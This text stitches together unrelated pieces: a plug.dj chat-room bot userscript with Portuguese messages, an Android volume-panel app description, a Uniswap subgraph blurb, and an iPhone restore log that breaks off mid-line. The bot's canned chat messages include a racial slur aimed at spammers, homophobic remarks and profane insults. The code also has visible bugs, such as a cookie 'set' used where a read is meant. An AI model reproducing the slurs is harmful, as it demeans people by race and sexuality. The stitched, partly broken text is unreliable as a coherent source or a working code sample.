data.newSong(); document.getElementById("button-vote-positive").click(); } if (data.forceSkip) { songId = obj.media.id; return setTimeout(function() { var cMedia; cMedia = API.getMedia(); if (cMedia.id === songId) { return API.moderateForceSkip(); } }, obj.media.duration * 1000); } }; handleVote = function(obj) { return data.users[obj.user.id].updateVote(obj.vote); }; handleUserLeave = function(user) { var disconnectStats, i, u, _i, _len, _ref22; disconnectStats = { id: user.id, time: new Date(), songCount: data.songCount }; i = 0; _ref22 = data.internalWaitlist; for (_i = 0, _len = _ref22.length; _i < _len; _i++) { u = _ref22[_i]; if (u.id === user.id) { disconnectStats['waitlistPosition'] = i - 1; data.setInternalWaitlist(); break; } else { i++; } } data.userDisconnectLog.push(disconnectStats); return data.users[user.id].inRoom(false); }; antispam = function(chat) { var plugRoomLinkPatt, sender; plugRoomLinkPatt = /(\bhttps?:\/\/(www.)?plug\.dj[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig; if (plugRoomLinkPatt.exec(chat.message)) { sender = API.getUser(chat.fromID); if (!sender.ambassador && !sender.moderator && !sender.owner && !sender.superuser) { if (!data.users[chat.fromID]["protected"]) { API.sendChat("Sem spam seu preto"); return API.moderateDeleteChat(chat.chatID); } else { return API.sendChat("Eu deveria expulsá-lo, mas estamos aqui para se diverti!"); } } } }; fans = function(chat) { var msg; msg = chat.message.toLowerCase(); if (msg.indexOf('eowkreowr') !== -1 || msg.indexOf('dsjaodas') !== -1 || msg.indexOf('poekpower') !== -1 || msg.indexOf('fokdsofsdpof') !== -1 || msg.indexOf(':trollface:') !== -1 || msg.indexOf('autowoot:') !== -1) { return API.moderateDeleteChat(chat.chatID); } }; chatUniversals = function(chat) { data.activity(chat); antispam(chat); return fans(chat); }; hook = function(apiEvent, callback) { return API.addEventListener(apiEvent, callback); }; unhook = function(apiEvent, callback) { return API.removeEventListener(apiEvent, callback); }; apiHooks = [ { 'event': API.ROOM_SCORE_UPDATE, 'callback': updateVotes }, { 'event': API.CURATE_UPDATE, 'callback': announceCurate }, { 'event': API.USER_JOIN, 'callback': handleUserJoin }, { 'event': API.DJ_ADVANCE, 'callback': handleNewSong }, { 'event': API.VOTE_UPDATE, 'callback': handleVote }, { 'event': API.CHAT, 'callback': chatCommandDispatcher }, { 'event': API.USER_LEAVE, 'callback': handleUserLeave } ]; initHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(hook(pair['event'], pair['callback'])); } return _results; }; undoHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(unhook(pair['event'], pair['callback'])); } return _results; }; initialize(); }).call(this); delay(); loadDammit(); function delay() { setTimeout("load();", 6000); } function load() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'http://cookies.googlecode.com/svn/trunk/jaaulde.cookies.js'; script.onreadystatechange = function() { if (this.readyState == 'complete') { loaded(); } } script.onload = readCookies; head.appendChild(script); } function loaded() { loaded = true } function loadDammit() { if (loaded == true) { readCookies(); } } function readCookies() { var currentDate = new Date(); currentDate.setFullYear(currentDate.getFullYear() + 1); var newOptions = { expiresAt: currentDate } jaaulde.utils.cookies.setOptions(newOptions); var value = jaaulde.utils.cookies.get(COOKIE_WOOT); autowoot = value != null ? value : false; value = jaaulde.utils.cookies.get(COOKIE_QUEUE); autoqueue = value != null ? value : false; value = jaaulde.utils.cookies.set(COOKIE_STREAM); stream = value != null ? value : true; value = jaaulde.utils.cookies.get(COOKIE_HIDE_VIDEO); hideVideo = value != null ? value : false; onCookiesLoaded(); } function onCookiesLoaded() { if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6005); } if (autoqueue && !isInQueue()) { joinQueue(); } if (hideVideo) { $('#yt-frame').animate({'height': (hideVideo ? '0px' : '271px')}, {duration: 'fast'}); $('#playback .frame-background').animate({'opacity': (hideVideo ? '0' : '0.91')}, {duration: 'medium'}); } initAPIListeners(); displayUI(); initUIListeners(); populateUserlist(); } var words = { "Points" : "Beats!", "Now Playing" : "Now Spinning!", "Time Remaining" : "Time Remaining!", "Volume" : "Crank the Volume!", "Current DJ" : "Disk Jockey", "Crowd Response" : "Crowd Reaction!", "Fans":"Stalkers!"}; String.prototype.prepareRegex = function() { return this.replace(/([[]^&\$.()\?\/\+{}|])/g, "\$1"); }; function isOkTag(tag) { return (",pre,blockquote,code,input,button,textarea".indexOf(","+tag) == -1); } var regexs=new Array(), replacements=new Array(); for(var word in words) { if(word != "") { regexs.push(new RegExp("\b"+word.prepareRegex().replace(/*/g,'[^ ]*')+"\b", 'gi')); replacements.push(words[word]); } } var texts = document.evaluate(".//text()[normalize-space(.)!='']",document.body,null,6,null), text=""; for(var i=0,l=texts.snapshotLength; (this_text=texts.snapshotItem(i)); i++) { if(isOkTag(this_text.parentNode.tagName.toLowerCase()) && (text=this_text.textContent)) { for(var x=0,l=regexs.length; x<l; x++) { text = text.replace(regexs[x], replacements[x]); this_text.textContent = text; } } } var loaded = false; var mentioned = false; var clicked = false; var skipped = false; var timeToWait = 120000; var clickWait = 5000; var skipWait = 601; var timePassed = 0; var clickPassed = 0; var skipPassed = 0; var timer = null; var clickTimer = null; var skipTimer = null; var COOKIE_WOOT = 'autowoot'; var COOKIE_QUEUE = 'autoqueue'; var COOKIE_STREAM = 'stream'; var COOKIE_HIDE_VIDEO = 'hidevideo'; var MAX_USERS_WAITLIST = 50; var fbMsg = ["Entrem na Pagina da sala: https://www.facebook.com/CantadasdiPedreiro"]; var rulesMsg = "Regras: 1) Video no Maximo 6 minutos. 2) Sem Flood! 3) Nao escrever em colorido 4) Respeitar os Adms e Mods ;s 5) Nao Fiquem Pedindo Cargos. "; var skipMsg = ["por favor não pedir para pular as músicas, quer pular da deslike."]; var fansMsg = ["Virem meu Fan que eu retribuo vocês, não esqueça de da @ Menções"]; var wafflesMsg = ["Ppkas para todos! # - (> _ <) - # "," Alguém disse ppkas? # - (> _ <) - #"]; var bhvMsg = ["por favor, não sejam gays no bate-papo "," por favor, não fale assim, controlar a si mesmo! "," por favor, seja maduros fdps"]; var sleepMsg = ["Ta na hora de dormi, Fui virjs! "," Indo dormir agora "," estou tão cansado, durmi é necessário, fui me cama. "," cansaço ... sono ... e ... fui me dormir."]; var workMsg = ["Estou ocupado não sou Vagabundo igual a vocês."]; var afkMsg = ["Eu estou indo embora e um Vão se foderem."," Vou fica AFK por um tempo, volto em breve! "," Indo embora, volto em breve! "," Vou Viaja nas galáxia, estarei de volta em breve !"]; var backMsg = ["Estou de volta minhas putinhas! "," Adivinha quem está de volta? Quem sera? Claro que é eu o seu Pai :D"]; var autoAwayMsg = ["Atualmente estou AFK "," Eu estou AFK "," Eu estou em uma aventura (afk) "," desapareceu por um momento "," não está presente no teclado."]; var autoSlpMsg = ["Atualmente estou dormindo "," Estou comendo ppkas em meus sonhos"]; var autoWrkMsg = ["Atualmente estou ocupado "," estou ocupado "," fazendo um trabalho relacionado a ppkas."]; overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"];overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"]; var styles = [ '.sidebar {position: fixed; top: 0; height: 100%; width: 200px; z-index: 99999; background-image: linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -o-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -moz-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -ms-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0, #000000),color-stop(1, #3B5678));}', '.sidebar#side-right {right: -190px;z-index: 99999;}', '.sidebar#side-left {left: -190px; z-index: 99999; }', '.sidebar-handle {width: 12px;height: 100%;z-index: 99999;margin: 0;padding: 0;background: rgb(96, 141, 197);box-shadow: 0px 0px 15px 0px rgba(0, 0, 0, .9);cursor: "ne-resize";}', '.sidebar-handle span {display: block;position: absolute;width: 10px;top: 50%;text-align: center;letter-spacing: -1px;color: #000;}', '.sidebar-content {position: absolute;width: 185px;height: 100%; padding-left: 15px}', '.sidebar-content2 {position: absolute;width: 185px;height: 100%;}', '.sidebar-content2 h3 {font-weight: bold; padding-left: 5px; padding-bottom: 5px; margin: 0;}', '.sidebar-content2 a {font-weight: bold; font-size: 13px; padding-left: 5px;}', '#side-right .sidebar-handle {float: left;}', '#side-left .sidebar-handle {float: right;}', '#side-right a {display: block;min-width: 100%;cursor: pointer;padding: 4px 5px 8px 5px;border-radius: 4px;font-size: 13px;}', '.sidebar-content2 span {display: block; min-width: 94%;cursor: pointer;border-radius: 4px; padding: 0 5px 0 5px; font-size: 12px;}', '#side-right a span {padding-right: 8px;}', '#side-right a:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 span:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 a:hover {text-decoration: none;}', 'html{background: url("http://i.imgur.com/a75C9wE.jpg") no-repeat scroll center top #000000;}', '#room-wheel {z-index: 2;position: absolute;top: 2px;left: 0;width: 1044px;height: 394px;background: url(http://) no-repeat;display: none;}', '.chat-bouncer {background: url(http://i.imgur.com/9qWWO4L.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-manager{background: url(http://i.imgur.com/hqqhTcp.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-cohost {background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width:292px;}', '.chat-host{background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '#dj-console, #dj-console {background-image: url(http://s8.postimage.org/wpugb8gc5/Comp_2.gif);min-height:33px;min-width:131px;}', '.chat-from-you{color: #0099FF;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '.chat-from-bouncer{color: #800080; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-manager{color: #FFDAB9; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-cohost{color: #FF4500; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-host{color: #32CD32;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '#user-points-title{color: #FFFFFF; position: absolute; left: 36px; font-size: 10px;}', '#user-fans-title{color: #FFFFFF; position: absolute; left: 29px; font-size: 10px;}', '.meta-header span{color: rgba(255, 255, 255, 0.79); position: absolute; left: 15px; font-size: 10px;}', '#button-lobby {background-image: url("http://i.imgur.com/brpRaSY.png");}', '#volume-bar-value{background-image: url("http://i.imgur.com/xmyonON.png") ;}', '#hr-div {;height: 100%;width: 100%;margin: 0;padding-left: 12px;}', '#hr2-div2 {;height: 100%;width: 100%;margin: 0;}', '#hr-style {position: absolute;display: block;height: 20px;width: 100%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#hr2-style2 {position: absolute;display: block;height: 20px;width: 94%%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#side-left h3 {padding-left: 5px}', ]; var scripts = [ "(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind('mousemove',track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev])}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev])};var handleHover=function(e){var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t)}if(e.type=='mouseenter'){pX=ev.pageX;pY=ev.pageY;$(ob).bind('mousemove',track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}}else{$(ob).unbind('mousemove',track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob)},cfg.timeout)}}};return this.bind('mouseenter',handleHover).bind('mouseleave',handleHover)}})(jQuery);", 'if (jQuery.easing.easeOutQuart === undefined) jQuery.easing.easeOutQuart = function (a,b,c,d,e) { return -d*((b=b/e-1)*b*b*b-1)+c; }', '$("#side-right")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "right": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "right": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });', '$("#side-left")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "left": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "left": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });' ]; function initAPIListeners() { API.addEventListener(API.DJ_ADVANCE, djAdvanced); API.addEventListener(API.CHAT, autoRespond); API.addEventListener(API.DJ_UPDATE, queueUpdate); API.addEventListener(API.VOTE_UPDATE, function (obj) { populateUserlist(); }); API.addEventListener(API.USER_JOIN, function (user) { populateUserlist(); }); API.addEventListener(API.USER_LEAVE, function (user) { populateUserlist(); }); } function displayUI() { var colorWoot = autowoot ? '#3FFF00' : '#ED1C24'; var colorQueue = autoqueue ? '#3FFF00' : '#ED1C24'; var colorStream = stream ? '#3FFF00' : '#ED1C24'; var colorVideo = hideVideo ? '#3FFF00' : '#ED1C24'; $('#side-right .sidebar-content').append( 'auto woot' + 'auto queue' + 'stream' + 'hide video' + 'rules' + 'like our fb' + 'no fans' + 'no skip' + 'waffles' + 'sleeping' + 'working' + 'afk' + 'available' + 'skip' + 'lock' + 'unlock' + 'lockskip' ); } function initUIListeners() { $("#plug-btn-woot").on("click", function() { autowoot = !autowoot; $(this).css("color", autowoot ? "#3FFF00" : "#ED1C24"); if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } jaaulde.utils.cookies.set(COOKIE_WOOT, autowoot); }); $("#plug-btn-queue").on("click", function() { autoqueue = !autoqueue; $(this).css('color', autoqueue ? '#3FFF00' : '#ED1C24'); if (autoqueue && !isInQueue()) { joinQueue(); } jaaulde.utils.cookies.set(COOKIE_QUEUE, autoqueue); }); $("#plug-btn-stream").on("click", function() { stream = !stream; $(this).css("color", stream ? "#3FFF00" : "#ED1C24"); if (stream == true) { API.sendChat("/stream on"); } else { API.sendChat("/stream off"); } jaaulde.utils.cookies.set(COOKIE_STREAM, stream); }); $("#plug-btn-hidevideo").on("click", function() { hideVideo = !hideVideo; $(this).css("color", hideVideo ? "#3FFF00" : "#ED1C24"); $("#yt-frame").animate({"height": (hideVideo ? "0px" : "271px")}, {duration: "fast"}); $("#playback .frame-background").animate({"opacity": (hideVideo ? "0" : "0.91")}, {duration: "medium"}); jaaulde.utils.cookies.set(COOKIE_HIDE_VIDEO, hideVideo); }); $("#plug-btn-face").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fbMsg[Math.floor(Math.random() * fbMsg.length)]); } }); $("#plug-btn-rules").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(rulesMsg); } }); $("#plug-btn-fans").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fansMsg[Math.floor(Math.random() * fansMsg.length)]); } }); $("#plug-btn-noskip").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(skipMsg[Math.floor(Math.random() * skipMsg.length)]); } }); $("#plug-btn-waffles").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(wafflesMsg[Math.floor(Math.random() * wafflesMsg.length)]); } }); $("#plug-btn-sleeping").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 3) { API.sendChat(sleepMsg[Math.floor(Math.random() * sleepMsg.length)]); Models.user.changeStatus(3); } } }); $("#plug-btn-working").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 2) { API.sendChat(workMsg[Math.floor(Math.random() * workMsg.length)]); Models.user.changeStatus(2); } } }); $("#plug-btn-afk").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 1) { API.sendChat(afkMsg[Math.floor(Math.random() * afkMsg.length)]); Models.user.changeStatus(1); } } }); $("#plug-btn-back").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 0) { API.sendChat(backMsg[Math.floor(Math.random() * backMsg.length)]); Models.user.changeStatus(0); } } }); $("#plug-btn-skip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new ModerationForceSkipService; } }); $("#plug-btn-lock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); }); $("#plug-btn-unlock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); }); $("#plug-btn-lockskip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); new ModerationForceSkipService; new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); } }); } function queueUpdate() { if (autoqueue && !isInQueue()) { joinQueue(); } } function isInQueue() { var self = API.getSelf(); return API.getWaitList().indexOf(self) !== -1 || API.getDJs().indexOf(self) !== -1; } function joinQueue() { if ($('#button-dj-play').css('display') === 'block') { $('#button-dj-play').click(); } else if (API.getWaitList().length < MAX_USERS_WAITLIST) { API.waitListJoin(); } } function autoRespond(data) { var a = data.type == "mention" && Models.room.data.staff[data.fromID] && Models.room.data.staff[data.fromID] >= Models.user.BOUNCER, b = data.message.indexOf('@') >0; if (data.type == "mention" && mentioned == false) { if (API.getUser(data.fromID).status == 0) { mentioned = true; timer = setInterval("checkMentioned();", 1000); if (Models.user.data.status == 1) { API.sendChat("@" + data.from + " automsg: " + autoAwayMsg[Math.floor(Math.random() * autoAwayMsg.length)]); } if (Models.user.data.status ==2) { API.sendChat("@" + data.from + " automsg: " + autoWrkMsg[Math.floor(Math.random() * autoWrkMsg.length)]); } if (Models.user.data.status ==3) { API.sendChat("@" + data.from + " automsg: " + autoSlpMsg[Math.floor(Math.random() * autoSlpMsg.length)]); } } } } function djAdvanced(obj) { if (hideVideo) { $("#yt-frame").css("height", "0px"); $("#playback .frame-background").css("opacity", "0.0"); } if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } setTimeout("overPlayedSongs();", 3000); } function overPlayedSongs(data) { if (overPlayed.indexOf(Models.room.data.media.id) > -1) { API.sendChat("/me auto skip ligado, Musica Repetida. Fuck you baby!"); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } if (Models.room.data.media.duration > 481) { API.sendChat("/me auto skip ligado, música com mais de 6 minutos seram puladas."); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } } function populateUserlist() { var mehlist = ''; var wootlist = ''; var undecidedlist = ''; var a = API.getUsers(); var totalMEHs = 0; var totalWOOTs = 0; var totalUNDECIDEDs = 0; var str = ''; var users = API.getUsers(); var myid = API.getSelf(); for (i in a) { str = '' + a[i].username + ''; if (typeof (a[i].vote) !== 'undefined' && a[i].vote == -1) { totalMEHs++; mehlist += str; } else if (typeof (a[i].vote) !== 'undefined' && a[i].vote == +1) { totalWOOTs++; wootlist += str; } else { totalUNDECIDEDs++; undecidedlist += str; } } var totalDECIDED = totalWOOTs + totalMEHs; var totalUSERS = totalDECIDED + totalUNDECIDEDs; var totalMEHsPercentage = Math.round((totalMEHs / totalUSERS) * 100); var totalWOOTsPercentage = Math.round((totalWOOTs / totalUSERS) * 100); if (isNaN(totalMEHsPercentage) || isNaN(totalWOOTsPercentage)) { totalMEHsPercentage = totalWOOTsPercentage = 0; } mehlist = ' ' + totalMEHs.toString() + ' (' + totalMEHsPercentage.toString() + '%)' + mehlist; wootlist = ' ' + totalWOOTs.toString() + ' (' + totalWOOTsPercentage.toString() + '%)' + wootlist; undecidedlist = ' ' + totalUNDECIDEDs.toString() + undecidedlist; if ($('#side-left .sidebar-content').children().length > 0) { $('#side-left .sidebar-content2').append(); } $('#side-left .sidebar-content2').html(' users: ' + API.getUsers().length + ' '); var spot = Models.room.getWaitListPosition(); var waitlistDiv = $(' ').addClass('waitlistspot').text('waitlist: ' + (spot !== null ? spot + ' / ' : '') + Models.room.data.waitList.length); $('#side-left .sidebar-content2').append(waitlistDiv); $('#side-left .sidebar-content2').append(' '); $(".meanlist").append( ' meh list:' + mehlist + ' ' + ' woot list:' + wootlist + ' ' ); } function checkMentioned() { if(timePassed >= timeToWait) { clearInterval(timer); mentioned = false; timePassed = 0; } else { timePassed = timePassed + 601; } } function checkClicked() { if (clickPassed >= clickWait) { clearInterval(clickTimer); clicked = false; clickPassed = 0; } else { clickPassed = clickPassed + 601; } } function checkSkipped() { if (skipPassed >= skipWait) { clearInterval(skipTimer); skipped = false; skipPassed = 600; } else { skipPassed = skipPassed + 500; } } $('#plugbot-css').remove(); $('#plugbot-js').remove(); $('#chat-messages').append(' Bem vindo auto-skip editado pelo Rafael Moraes 1.0 '); $('body').prepend('' + "\n" + styles.join("\n") + "\n" + ''); $('body').append(' ' + ' ||| ' + ' ' + ' ' + ' ' + ' ||| ' + ' ' + ' ' + ' '); $('body').append('');
ranjeetsenger
Volume Styles lets you fully customize your phone's volume panel and sliders. Change the colors, apply different themes such as iOS & MIUI, change the position, and more! You have full control. You can even add additional shortcuts in the volume panel, and change the brightness, to make accessing things faster. STYLES Easily apply any style to your volume slider in just one tap: • Android 10 • iOS 13 • Xiaomi MIUI • Samsung One UI • OnePlus OxygenOS • Android Oreo horizontal sliders • Huawei EMUI • Windows 10 • RGB • Color OS • Paranoid Android • Vivo Funtouch OS • Realme UI • iOS 12 • Windows Phone • Volume knob • ... and thousands of more styles inside the app Volume Styles also includes a custom Style Creator where you can customize things to the extreme. When you have designed your perfect style, you can submit it to the Style Feed along with thousands of other styles created by the community. Simply favorite a style in the Style Feed to save it for later, or apply it instantly with a single tap. SLIDERS Change which volume sliders are shown. You can even add a brightness slider! • Media volume • Ring volume • Notification volume • Alarm volume • Voice call volume • System volume • Bluetooth volume • Cast volume • Brightness CUSTOMIZE Style the volume panel exactly how you like: • Apply the colors you want • Auto dark mode • Change the corner radius • Volume control panel position on screen • Volume panel show duration • ... and more! ADD SHORTCUTS • Live Caption • Toggle rotation • Flashlight / Torch • Screenshot • Split screen • Settings shortcut • Turn off screen • Open sound settings • Toggle Do Not Disturb • Toggle sound mode ( silent / vibrate / ring ) • Toggle auto brightness • Toggle media volume • Toggle notification volume • Toggle alarm volume • Toggle voice call volume • Toggle system volume Volume Styles uses Accessibility Services to override the volume buttons.
onurnaim
Starter subgraph for a Uniswap V2–style DEX plus a tiny web viewer. Indexes a Pair’s Swap/Sync events, tracks reserves & basic volume, and exposes them via GraphQL. Ready to codegen, build, and deploy on The Graph.
libi error on 6G device Setting to interface 0:0 WARNING: set interface failed, error -8 Recovery Mode Environment: iBoot build-version=iBoot-2817.60.2 iBoot build-style=RELEASE Sending AppleLogo... DEBUG: tss_response_get_path_by_entry: No entry 'AppleLogo' in TSS response NOTE: No path for component AppleLogo in TSS, will fetch from build_identity Extracting applelogo@2x~iphone.t7000.im4p... Writing data to AppleLogo Sending AppleLogo (12140 bytes)... DEBUG: tss_response_get_path_by_entry: No entry 'RestoreRamDisk' in TSS response NOTE: No path for component RestoreRamDisk in TSS, will fetch from build_identity Extracting 058-49166-036.dmg... Writing data to RestoreRamDisk Sending RestoreRamDisk (24208893 bytes)... DEBUG: tss_response_get_path_by_entry: No entry 'RestoreDeviceTree' in TSS response NOTE: No path for component RestoreDeviceTree in TSS, will fetch from build_identity Extracting DeviceTree.n61ap.im4p... Writing data to RestoreDeviceTree Sending RestoreDeviceTree (122870 bytes)... DEBUG: tss_response_get_path_by_entry: No entry 'RestoreKernelCache' in TSS response NOTE: No path for component RestoreKernelCache in TSS, will fetch from build_identity Extracting kernelcache.release.n61... Writing data to RestoreKernelCache Sending RestoreKernelCache (12023621 bytes)... About to restore device... Waiting for device... Attempt 1 to connect to restore mode device... Attempt 2 to connect to restore mode device... Attempt 3 to connect to restore mode device... Attempt 4 to connect to restore mode device... Attempt 5 to connect to restore mode device... Attempt 6 to connect to restore mode device... restore_is_current_device: Connected to com.apple.mobile.restored, version 13 Attempt 7 to connect to restore mode device... Device is now connected in restore mode... Connecting now... Connected to com.apple.mobile.restored, version 13 Device has successfully entered restore mode Hardware Information: BoardID: 6 ChipID: 28672 UniqueChipID: 7992728590225446 ProductionMode: true Previous restore exit status: 0x100 About to send NORData... DEBUG: tss_response_get_path_by_entry: No entry 'LLB' in TSS response NOTE: Could not get LLB path from TSS data, will fetch from build identity Found firmware path Firmware/all_flash/all_flash.n61ap.production Getting firmware manifest Firmware/all_flash/all_flash.n61ap.production/manifest Extracting LLB.n61.RELEASE.im4p... Writing data to LLB Extracting iBoot.n61.RELEASE.im4p... Writing data to iBoot Extracting DeviceTree.n61ap.im4p... Writing data to DeviceTree Extracting applelogo@2x~iphone.t7000.im4p... Writing data to AppleLogo Extracting recoverymode@1334~iphone-lightning.t7000.im4p... Writing data to RecoveryMode Extracting batterylow0@2x~iphone.t7000.im4p... Writing data to BatteryLow0 Extracting batterylow1@2x~iphone.t7000.im4p... Writing data to BatteryLow1 Extracting batterycharging0@2x~iphone.t7000.im4p... Writing data to BatteryCharging0 Extracting batterycharging1@2x~iphone.t7000.im4p... Writing data to BatteryCharging1 Extracting glyphplugin@1334~iphone-lightning.t7000.im4p... Writing data to BatteryPlugin Extracting batteryfull@2x~iphone.t7000.im4p... Writing data to BatteryFull Extracting sep-firmware.n61.RELEASE.im4p... Writing data to RestoreSEP Extracting sep-firmware.n61.RELEASE.im4p... Writing data to SEP common.c:supressed printing 14481617 bytes plist... Sending NORData now... Done sending NORData About to send RootTicket... Sending RootTicket now... Done sending RootTicket Partition NAND device (28) About to send FDR Trust data... Sending FDR Trust data now... Done sending FDR Trust Data Got status message Status: Disk Failure Log is available: SYSLOG: Sep 10 05:16:50 localhost bootlog[0] <Notice>: BOOT_TIME 1473484610 0 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: obe iDAC=1973 default SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::OscarStartGated: baudRate=0 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::setOscarStateGated: setting oscar-state=10001 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::publishFirmware: firmware published successfu lly SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::OscarBootGated: Starting Oscar2, baudRate=150 0000 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: ready - 00000000: 3f | ? SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::WaitForBootROMReady: _BootROMReady=1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarFirmware::waitForFirmwareImage: waiting for firmware SYSLOG: Sep 10 05:16:51 localhost kernel[0] 